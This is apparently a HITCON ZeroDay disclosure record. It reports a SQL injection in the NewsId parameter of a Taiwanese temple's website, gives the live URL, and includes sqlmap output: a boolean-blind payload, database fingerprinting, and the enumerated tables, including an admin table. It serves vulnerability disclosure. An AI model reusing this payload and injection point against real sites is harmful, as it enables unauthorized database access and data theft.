Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2018-00427
- Vendor: 高雄關帝廟 / 牧迪網頁設計有限公司
- Title: 高熊关帝庙SQL
- Introduction: 高熊关帝庙SQL
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2018/04/07 22:11:18 : 新提交 (由 Cra5h 更新此狀態)
- 2018/04/08 00:12:07 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/08 02:32:05 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/08 02:32:06 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/06/07 03:00:33 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2018-00427
- 通報者:cra5h (Cra5h)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
敘述
高熊关帝庙SQL
SQL位置:
http://www.kdm.org.tw/news_detail.asp?NewsId=359
NewsID参数过滤不严导致SQL产生
GET parameter 'NewsId' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 61 HTTP(s) requests:
Parameter: NewsId (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: NewsId=359 AND 8402=8402
[21:24:15] [INFO] testing MySQL
[21:24:15] [WARNING] the back-end DBMS is not MySQL
[21:24:15] [INFO] testing Oracle
[21:24:16] [WARNING] the back-end DBMS is not Oracle
[21:24:16] [INFO] testing PostgreSQL
[21:24:16] [WARNING] the back-end DBMS is not PostgreSQL
[21:24:16] [INFO] testing Microsoft SQL Server
[21:24:16] [WARNING] the back-end DBMS is not Microsoft SQL Server
[21:24:16] [INFO] testing SQLite
[21:24:16] [WARNING] the back-end DBMS is not SQLite
[21:24:16] [INFO] testing Microsoft Access
[21:24:16] [INFO] confirming Microsoft Access
[21:24:16] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 8 or 2012
web application technology: ASP.NET, ASP, Microsoft IIS 8.0
back-end DBMS: Microsoft Access
[21:24:16] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\www.kdm.org.tw'
确认影响库:(5库)
Database: Microsoft_Access_masterdb
[5 tables]
+----------+
| admin |
| banner |
| download |
| feedback |
| news |
+----------+
[21:36:29] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\www.kdm.org.tw'
查看数据量:
Database: Microsoft_Access_masterdb
+----------+---------+
| Table | Entries |
+----------+---------+
| news | 31 |
| download | 10 |
| admin | 2 |
| banner | 1 |
| feedback | 1 |
+----------+---------+
[21:43:16] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\www.kdm.org.tw'
修補建議
过滤,参数化